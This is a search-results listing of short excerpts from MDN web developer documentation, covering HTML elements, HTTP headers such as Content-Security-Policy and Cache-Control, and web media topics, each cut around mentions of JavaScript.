my.mp4" type="video/mp4"> <source src="my.webm" type="video/webm"> </video> LIVE Profile A useful piece of software when dealing with MPEG-DASH is Dash Encoder. This uses MP4Box to encode media into MPEG-DASH format. Note: You will need to be comfortable with make files and installing dependencies to get this software up and running. Note: Since MPEG-DASH decoding is done partially using
JavaScript and MSE files are often grabbed using XHR, keep same origin rules in mind. Note: If you use WebM you can use the methods shown in this tutorial DASH Adaptive Streaming for HTML 5 Video. Once encoded your file structure may look something like this: play list -> /segments/news.mp4.mpd main segment folder -> /segments/main/ 100 Kbps segment folder -> /segments/main/news...
Web Audio playbackRate explained - Developer guides
ntrols in HTML: <video id="myVideo" controls> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type='video/mp4' /> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type='video/webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>Playback Rate <span id="currentPbr">1</span></p> </form> And apply some
JavaScript to it: window.onload = function () { var v = document.getElementById("myVideo"); var p = document.getElementById("pbr"); var c = document.getElementById("currentPbr"); p.addEventListener('input',function(){ c.innerHTML = p.value; v.playbackRate = p.value; },false); }; Finally, we listen for the input event firing on the <input> element, allowing us to react to the playback ...
Writing Web Audio API code that works in every browser - Developer guides
t use node types that are not implemented yet in Firefox: MediaStreamAudioSourceNode, MediaElementAudioSourceNode and OscillatorNode. If it's using, for example, OscillatorNode, you will have to wait until it is supported, or maybe, if you're really eager, hack in some replacement using ScriptProcessorNode, which allows you to write a node with callbacks that get called periodically, so that your
JavaScript code generates or processes audio. The node parameters you use must also be supported in Firefox too. If they aren't, you might be able to change them into something "acceptable" for the time being, and count on the talented audio developers to implement those very soon. For example, up until a couple of days ago PannerNode did not support the default HRTF panning model yet, and attempting to use...
Event developer guide - Developer guides
ges made to the DOM. Use Mutation Observers instead if possible. Orientation and motion data explainedWhen using orientation and motion events, it's important to understand what the values you're given by the browser mean. ...
Graphics on the Web - Developer guides
ics, such as images. Static images can easily be displayed using the <img> element, or by setting the background of HTML elements using the background-image property. You can also construct graphics on-the-fly, or manipulate images after the fact. These articles provide insight into how you can accomplish this. 2D Graphics Canvas The <canvas> element provides APIs to draw 2D graphics using
JavaScript. SVG Scalable Vector Graphics (SVG) lets you use lines, curves, and other geometric shapes to render graphics. With vectors, you can create images that scale cleanly to any size. View All... 3D Graphics WebGL A guide to getting started with WebGL, the 3D graphics API for the Web. This technology lets you use standard OpenGL ES in web content. Video Using HTML5 audio and video Emb...
A hybrid approach - Developer guides
h the pros and cons of each individual technique employed. In many cases, the added complexity of the hybrid approach is not even necessary. For example, you may not even need to adjust your content based on what actual device a user is using -- just knowing whether a feature is present on their browser is often good enough. This is something you might be able to discern on the client-side using
JavaScript feature detection from Modernizr or Detect It. It can't hurt to dig down and ask yourself which axis you are actually looking to adjust your content around. We've talked about incorporating server-side techniques into a responsive design, but there are even ways to use the hybrid approach if your use cases for mobile and desktop are very different. You could, for example, increase the flexibili...
Mobile-friendliness - Developer guides
to think of it in terms of three goals for improving your site's user experience: Presentation, Content, and Performance. Goal #1 (Presentation) "Make websites that work well on a variety of screen sizes." These days, users can access the web on devices in a wide range of form factors, including phones, tablets, and eReaders. Needless to say, a fixed-width, three-column layout filled with complex
JavaScript animations and mouse-over effects is not going to look or feel quite right on a phone with a 2-inch-wide screen and a diminutive processor. A slimmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate. That's why this first goal is all about presenting your content in a way that makes life easy for users on mobile device. Goal #2 (Content) "Adjust yo...
Separate sites for mobile and desktop - Developer guides
s like XHTML-MP or the older WML. This factor aside, there is one case where this strategy really shines over other methods. If the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, then using separate sites is simply likely to be the most practical choice. This is because you have the option of sending completely separate HTML,
JavaScript, and CSS to phones and PCs. Another case where you may be forced to use this approach is if you cannot, for whatever reason, modify your existing desktop site, and need to have a 100% separate mobile site. Though it's not ideal, at least you have this option. Examples Most of the major Web applications you see in the wild have chosen this path, including Facebook, YouTube, Digg, and Flickr. In fa...
Developer guides
es a group of technologies allowing web applications to make quick, incremental updates to the user interface without reloading the entire browser page. This makes the application faster and more responsive to user actions. Graphics on the web Modern web sites and applications often need to present graphics of varying sophistication. Guide to web APIs A list of all web APIs and what they do.
JavaScript JavaScript is the powerful scripting language used to create applications for the Web. Localizations and character encodings Browsers process text as Unicode internally. However, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. The HTML specification recommends the use of the UTF-8 encoding (which can represe...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
order to keep a video playing. Browser Support Firefox 21 includes an implementation of DASH for HTML5 WebM video which is turned off by default. It can be enabled via "about:config" and the "media.dash.enabled" preference. Firefox 23 removed support for DASH for HTML5 WebM video. It will be replaced by an implementation of the Media Source Extensions API which will allow support for DASH via
Javascript libraries such as dash.js. See bug 778617 for details. Using DASH - Server Side First you'll need to convert your WebM video to a DASH manifest with the accompanying video files in various bit rates. To start with you'll only need the ffpmeg program from ffmpeg.org, with libvpx and libvorbis support for WebM video and audio, at least version 2.5 (probably; this was tested ith 3.2.5). 1. Use yo...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
fn> (<abbr title="Specification">spec</abbr>) is a document that outlines in detail how a technology or API is intended to function and how it is accessed.</p> Result Accessibility concerns Spelling out the acronym or abbreviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon. Example <p>
JavaScript Object Notation (<abbr>JSON</abbr>) is a lightweight data-interchange format.</p> This is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns. Specifications Specification Status Comment HTML Living StandardThe definition of '<abbr>' in tha...
<dialog>: The Dialog element - HTML: Hypertext Markup Language
<option>Brine shrimp</option> <option>Red panda</option> <option>Spider monkey</option> </select> </label></p> <menu> <button value="cancel">Cancel</button> <button id="confirmBtn" value="default">Confirm</button> </menu> </form> </dialog> <menu> <button id="updateDetails">Update details</button> </menu> <output aria-live="polite"></output>
JavaScript var updateButton = document.getElementById('updateDetails'); var favDialog = document.getElementById('favDialog'); var outputBox = document.querySelector('output'); var selectEl = document.querySelector('select'); var confirmBtn = document.getElementById('confirmBtn'); // "Update details" button opens the <dialog> modally updateButton.addEventListener('click', function onOpen() { if (typeof f...
<img>: The Image Embed element - HTML: Hypertext Markup Language
is the default value). lazy: Defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. The intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed. This generally improves the performance of the content in most typical use cases. Note: Loading is only deferred when
JavaScript is enabled. This is an anti-tracking measure, because if a user agent supported lazy loading when scripting is disabled, it would still be possible for a site to track a user's approximate scroll position throughout a session, by strategically placing images in a page's markup such that a server can track how many images are requested and when. referrerpolicy A string indicating which ...
<input type="color"> - HTML: Hypertext Markup Language
lor" value="#ff0000" id="colorWell"> <p>Watch the paragraph colors change when you adjust the color picker. As you make changes in the color picker, the first paragraph's color changes, as a preview (this uses the <code>input</code> event). When you close the color picker, the <code>change</code> event fires, and we detect that to change every paragraph to the selected color.</p>
JavaScript First, there's some setup. Here we establish some variables, setting up a variable that contains the color we'll set the color well to when we first load up, and then setting up a load handler to do the main startup work once the page is fully loaded. var colorWell; var defaultColor = "#0000ff"; window.addEventListener("load", startup, false); Initialization Once the page is loaded, our loa...
<input type="hidden"> - HTML: Hypertext Markup Language
type="hidden" value="xm234jq"> Value A DOMString representing the value of the hidden data you want to pass back to the server. Events None. Supported Common Attributes autocomplete IDL attributes value Methods None. Note: The input and change events do not apply to this input type. Hidden inputs cannot be focused even using
JavaScript (e.g. hiddenInput.focus()). Value The <input> element's value attribute holds a DOMString that contains the hidden data you want to include when the form is submitted to the server. This specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. Important: While the value isn't displayed to the user in the page's co...
<input type="radio"> - HTML: Hypertext Markup Language
Choice1">Email</label> <input type="radio" id="contactChoice2" name="contact" value="phone"> <label for="contactChoice2">Phone</label> <input type="radio" id="contactChoice3" name="contact" value="mail"> <label for="contactChoice3">Mail</label> </div> <div> <button type="submit">Submit</button> </div> </form> <pre id="log"> </pre> Then we add some
JavaScript to set up an event listener on the submit event, which is sent when the user clicks the "Submit" button: var form = document.querySelector("form"); var log = document.querySelector("#log"); form.addEventListener("submit", function(event) { var data = new FormData(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innerTex...
<menuitem> - HTML: Hypertext Markup Language
-menu"> Right-click to see the adjusted context menu </div> <menu type="context" id="popup-menu"> <menuitem type="checkbox" checked>Checkbox</menuitem> <hr> <menuitem type="command" label="This command does nothing" icon="https://developer.cdn.mozilla.net/static/img/favicon144.png"> Commands don't render their contents. </menuitem> <menuitem type="command" label="This command has
javascript" onclick="alert('command clicked')"> Commands don't render their contents. </menuitem> <hr> <menuitem type="radio" radiogroup="group1">Radio Button 1</menuitem> <menuitem type="radio" radiogroup="group1">Radio Button 2</menuitem> </menu> CSS content div { width: 300px; height: 80px; background-color: lightgreen; } Result Specifications Specification Status ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
tes You can use a CSS rule to override the browser's default font face for the <samp> element; however, it's possible that the browser's preferences may take precedence over any CSS you specify. The CSS to override the default font face would look like this: samp { font-family: "Courier"; } If you need an element which will serve as a container for output generated by your website or app's
JavaScript code, you should instead use the <output> element. Examples Basic example In this simple example, a paragraph includes an example of the output of a program. <p>When the process is complete, the utility will output the text <samp>Scan complete. Found <em>N</em> results.</samp> You can then proceed to the next step.</p> The resulting output looks like this: Sample output including user in...
<select>: The HTML Select element - HTML: Hypertext Markup Language
e a consistent result across browsers, and it is hard to do things like line different types of form element up with one another in a column. The <select> element's internal structure is complex, and hard to control. If you want to get full control, you should consider using a library with good facilities for styling form widgets, or try rolling your own dropdown menu using non-semantic elements,
JavaScript, and WAI-ARIA to provide semantics. For more useful information on styling <select>, see: Styling HTML forms Advanced styling for HTML forms Examples Basic select The following example creates a very simple dropdown menu, the second option of which is selected by default. <!-- The second value will be selected initially --> <select name="choice"> <option value="first">First Value</opt...
<tr>: The Table Row element - HTML: Hypertext Markup Language
y alignment for the row's cells. To apply character-based alignment, set the CSS text-align property to the alignment character (such as "." or ","). bgcolorObsolete since HTML5 A DOMString specifying a color to apply to the backgrounds of each of the row's cells. This can be either an hexadecimal #RRGGBB or #RGB value or a color keyword. Omitting the attribute or setting it to null in
JavaScript causes the row's cells to inherit the row's parent element's background color. The <tr> element should be styled using CSS. To give a similar effect as the bgcolor attribute, use the CSS property background-color. charObsolete since HTML5 A DOMString which sets the character to align the cells in each of the row's columns on (each row's centering that uses the same character gets a...
class - HTML: Hypertext Markup Language
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
contextmenu - HTML: Hypertext Markup Language
I am learning ContextMenu from MDN via Mozilla"); } function shareViaFacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus"); } function incFont() { document.getElementById("fontSizing").style.fon...
tabindex - HTML: Hypertext Markup Language
epository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. It accepts an integer as a value, with different results depending on the integer's value: A negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with
Javascript or visually by clicking with the mouse. It's mostly useful to create accessible widgets with
JavaScript. A negative value is useful when you have off-screen content that appears on a specific event. The user won't be able to focus any element with a negative tabindex using the keyboard, but a script can do so by calling the focus() method. tabindex="0" means that the element should be...
Global attributes - HTML: Hypertext Markup Language
ters default to lowercase) on or sentences, the first letter of each sentence defaults to a capital letter; all other letters default to lowercase words, the first letter of each word defaults to a capital letter; all other letters default to lowercase characters, all letters should default to uppercase class A space-separated list of the classes of the element. Classes allows CSS and
JavaScript to select and access specific elements via the class selectors or functions like the method Document.getElementsByClassName(). contenteditable An enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values: true or the empty string, which indicates that the element...
HTML: Hypertext Markup Language
"Hypertext" refers to links that connect web pages to one another, either within a single website or between websites. Links are a fundamental aspect of the Web. ...
Data URLs - HTTP
. Also, for CSV data (MIME type "text/csv"), percent-encoding is needed to preserve the line endings that delimit rows of the spreadsheet. data:text/plain;base64,SGVsbG8sIFdvcmxkIQ== base64-encoded version of the above data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E An HTML document with <h1>Hello, World!</h1> data:text/html,<script>alert('hi');</script> An HTML document that executes a
JavaScript alert. Note that the closing script tag is required. Encoding data into base64 format Base64 is a group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation. By consisting only in ASCII characters, base64 strings are generally url-safe, and that's why they can be used to encode data in Data URLs. Encoding in J...
Identifying resources on the Web - HTTP
rs also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. Common schemes are: Scheme Description data Data URIs file Host-specific file names ftp File Transfer Protocol http/https Hyper text transfer protocol (Secure)
javascript URL-embedded
JavaScript code mailto Electronic mail address ssh Secure shell tel telephone urn Uniform Resource Names view-source Source code of the resource ws/wss (Encrypted) WebSocket connections Authority www.example.com is the domain name or authority that governs the namespace. It indicates which Web serv...
Browser detection using the user agent - HTTP
t all and (min-width: 25em) includes (max-width: 25em). (max-width: 24.99em) is simply a poor man's version of not all and (min-width: 25em): do not use (max-width: 24.99em) because the layout might break on very high font sizes on very high definition devices in the future. Always be very deliberate about choosing the right media query and choosing the right >=, <=, >, or < in any corresponding
JavaScript because it is very easy to get these mixed up, resulting in the website looking wonking right at the screen size where the layout changes. Thus, thoroughly test the website at the exact widths/heights where layout changes occur to ensure that the layout changes occur properly. Making the best of user agent sniffing After reviewing all of the above better alternatives to user agent sniffing, t...
CORS errors - HTTP
ORS violation error message. It will probably look like this: The text of the error message will be something similar to the following: Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://some-url-here. (Reason: additional information here). Note: For security reasons, specifics about what went wrong with a CORS request are not available to
JavaScript code. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details. CORS error messages Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; cli...
Content Security Policy (CSP) - HTTP
r to prevent attackers from eavesdropping on requests. Content-Security-Policy: default-src https://onlinebanking.jumbobank.com The server permits access only to documents being loaded specifically over HTTPS through the single origin onlinebanking.jumbobank.com. Example 5 A web site administrator of a web mail site wants to allow HTML in email, as well as images loaded from anywhere, but not
JavaScript or other potentially dangerous content. Content-Security-Policy: default-src 'self' *.mailsite.com; img-src * Note that this example doesn't specify a script-src; with the example CSP, this site uses the setting specified by the default-src directive, which means that scripts can be loaded only from the originating server. Testing your policy To ease deployment, CSP can be deployed in report-...
List of default Accept values - HTTP
Values for scripts When a script is requested, like via the <script> HTML element, some browsers use specific values. User Agent Value Comment Firefox */* See bug 170789 Safari, Chrome */* source Internet Explorer 8 or earlier */* See IE and the Accept Header (IEInternals' MSDN blog) Internet Explorer 9 application/
javascript, */*;q=0.8 See Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog) Values for a CSS stylesheet When a CSS stylesheet is requested, via the <link rel="stylesheet"> HTML element, most browsers use specific values. User Agent Value Comment Firefox 4 text/css,*/*;q=0.1 See bug 170789 source Internet Explorer 8 or earlier */* See...
Content negotiation - HTTP
e alternative resources. The user is presented the resources and choose the one to use. Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with
JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user. ...
Feature Policy - HTTP
al factors. The general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. Newly introduced features may have an explicit API to signal the state. Existing features that later integrate with Feature Policy will typically use existing mechanisms. Some approaches include: Return "permission denied" for
JavaScript APIs that require user permission grants. Return false or error from an existing
JavaScript API that provides access to feature. Change the default values or options that control the feature behavior. The current set of policy-controlled features fall into two broad categories: Enforcing best practices for good user experiences. Providing granular control over sensitive or powerful featur...
Cache-Control - HTTP
e header: Good: Cache-Control: no-store Bad: Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 Caching static assets For the files in the application that will not change, you can usually add aggressive caching by sending the response header below. This includes static files that are served by the application such as images, CSS files and
JavaScript files, for example. In addition, see also the Expires header. Cache-Control: public, max-age=604800, immutable Requiring revalidation Specifying no-cache or max-age=0 indicates that clients can cache a resource and must revalidate each time before using it. This means HTTP request occurs each time, but it can skip downloading HTTP body if the content is valid. Cache-Control: no-cache Cache-C...
CSP: base-uri - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: connect-src - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: default-src - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: font-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
CSP: frame-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
CSP: img-src - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: manifest-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
CSP: media-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
CSP: object-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
CSP: prefetch-src - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: style-src-attr - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: style-src-elem - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
Content-Security-Policy - HTTP
re perhaps coincidentally considered legacy HTML elements and are not receiving new standardized features (such as the security attributes sandbox or allow for <iframe>). Therefore it is recommended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible). prefetch-src Specifies valid sources to be prefetched or prerendered. script-src Specifies valid sources for
JavaScript. script-src-elem Specifies valid sources for
JavaScript <script> elements. script-src-attr Specifies valid sources for
JavaScript inline event handlers. style-src Specifies valid sources for stylesheets. style-src-elem Specifies valid sources for stylesheets <style> elements and <link> elements with rel="stylesheet". style-src-attr Specifies valid sources for inline styles applie...
DNT - HTTP
privacy rather than personalized content. Header type Request header Forbidden header name yes Syntax DNT: 0 DNT: 1 DNT: null Directives 0 The user prefers to allow tracking on the target site. 1 The user prefers not to be tracked on the target site. null The user has not specified a preference about tracking. Examples Reading Do Not Track status from
JavaScript The user's DNT preference can also be read from
JavaScript using the Navigator.doNotTrack property: navigator.doNotTrack; // "0" or "1" Specifications Specification Status Comment Tracking Preference Expression (DNT)The definition of 'DNT Header Field for HTTP Requests' in that specification. Obsolete Initial definition. ...
Referer - HTTP
idden header name yes Syntax Referer: <url> Directives <url> An absolute or partial address of the previous web page from which a link to the currently requested page was followed. URL fragments (i.e. "#section") and userinfo (i.e. "username:password" in "https://username:password@example.com/foo/bar/") are not included. Examples Referer: https://developer.mozilla.org/docs/Web/
JavaScript Specifications Specification Title RFC 7231, section 5.5.2: Referer Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
Server-Timing - HTTP
o control which metrics are returned when and to whom on the server side. For example, you could only show metrics to authenticated users and nothing to the public. PerformanceServerTiming interface In addition to having Server-Timing header metrics appear in the developer tools of the browser, the PerformanceServerTiming interface enables tools to automatically collect and process metrics from
JavaScript. This interface is restricted to the same origin, but you can use the Timing-Allow-Origin header to specify the domains that are allowed to access the server metrics. The interface is only available in secure contexts (HTTPS) in some browsers. Specifications Specification Status Title Server TimingThe definition of 'Server-Timing Header Field' in that specification. W...
Firefox user agent string reference - HTTP
ike the device-specific string in the table above, where nnnn; is the manufacturer's code for the device (see Guidelines). Some of them we have noticed are of the form "NexusOne;", "ZTEOpen;", or "Open C;" (note that putting space is also discouraged). We provide this information to assist with your UA detection logic, but Mozilla discourages the detection of a device id in UA strings. Here is a
JavaScript regular expression that will detect all mobile devices, including devices with a device id in their UA string: /mobi/i The i makes it case-insensitive, and mobi matches all mobile browsers. Firefox OS version number While the version number for Firefox OS is not included in the UA string, it is possible to infer version information from the Gecko version number present in the UA string. ...
X-DNS-Prefetch-Control - HTTP
This prefetching is performed in the background, so that the DNS is likely to have been resolved by the time the referenced items are needed. This reduces latency when the user clicks a link. ...
X-XSS-Protection - HTTP
The HTTP X-XSS-Protection response header is a feature of Internet Explorer, Chrome and Safari that stops pages from loading when they detect reflected cross-site scripting (XSS) attacks. Although these protections are largely unnecessary in modern browsers when sites implement a strong Content-Security-Policy that disables the use of inline
JavaScript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support CSP. Chrome has removed their XSS Auditor Firefox have not, and will not implement X-XSS-Protection Edge have retired their XSS filter This means that if you do not need to support legacy browsers, it is recommended that you use Content-Security-Policy without allowing unsafe-inline scripts instead. Header type Response h...
HTTP headers - HTTP
Connection header field with the upgrade option specified. For details on the Connection header field please see section 6.1 of the aforementioned RFC. X-DNS-Prefetch-Control Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS,
JavaScript, and so forth. X-Firefox-Spdy ... X-Pingback ... X-Requested-With ... X-Robots-Tag The X-Robots-Tag HTTP header is used to indicate how a web page is to be indexed within public search engine results. The header is effectively equivalent to <meta name="robots" content="...">. X-UA-Compatible Used by Internet Explorer to signal which document mode to use. ...
MathML
for writing MathML, including suggested MathML editors and how to integrate their output into Web content. View All... Getting help from the community View Mozilla forums... Mailing list Newsgroup RSS feed Matrix chat room Wiki used by Mozilla contributors W3C Math Home www-math w3.org mail archive Tools W3C Validator Mathzilla Firefox add-on collection TeXZilla --
Javascript LaTeX to MathML converter (live demo, Firefox OS webapp, Firefox add-on, using in a Web Page, JS program etc) LaTeXML - Convert LaTeX documents into HTML+MathML Web pages Web Equation - Turn handwritten equations into MathML or LaTeX MathJax - Cross-browser
JavaScript display engine for mathematics. To force MathJax to use native MathML, try this Mozilla add-on, this Safari extension or this G...
Autoplay guide for media and Web Audio APIs - Web media technologies
active audio track are considered to be audible, and autoplay blocking applies to them. Inaudible media are not affected by autoplay blocking. Autoplay and autoplay blocking The term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. This includes both the use of HTML attributes to autoplay media as well as the user of
JavaScript code to start playback outside the context of handling user input. That means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioElement.play(); The following web features and APIs may be affected by autoplay blocking: The HTML <audio> and <video> elements The Web Aud...
Handling media support issues in web content - Web media technologies
ntation of the image as soon as possible, then update the image as it loads--or after it's finished loading--to present it in full quality. Note: Progressive (or interlaced) images are inherently slightly larger than the non-progressive versions of the same images. Whether the interlacing will benefit your users is up to you to determine. Specifying multiple sources Checking compatibility in
JavaScript HTMLMediaElement.canPlayType and MediaSource.isTypeSupported... Detecting playback errors Adapting presentation with CSS Memory management ...
Web video codec guide - Web media technologies
C is a proprietary format, however, and numerous patents are owned by multiple parties regarding its technologies. Commercial use of AVC media requires a license, though the MPEG LA patent pool does not require license fees for streaming internet video in AVC format as long as the video is free for end users. Non-web browser implementations of WebRTC (any implementation which doesn't include the
JavaScript APIs) are required to support AVC as a codec in WebRTC calls. While web browsers are not required to do so, some do. In HTML content for web browsers, AVC is broadly compatible and many platforms support hardware encoding and decoding of AVC media. However, be aware of its licensing requirements before choosing to use AVC in your project! Supported bit rates Varies by level ...
The "codecs" parameter in common media types - Web media technologies
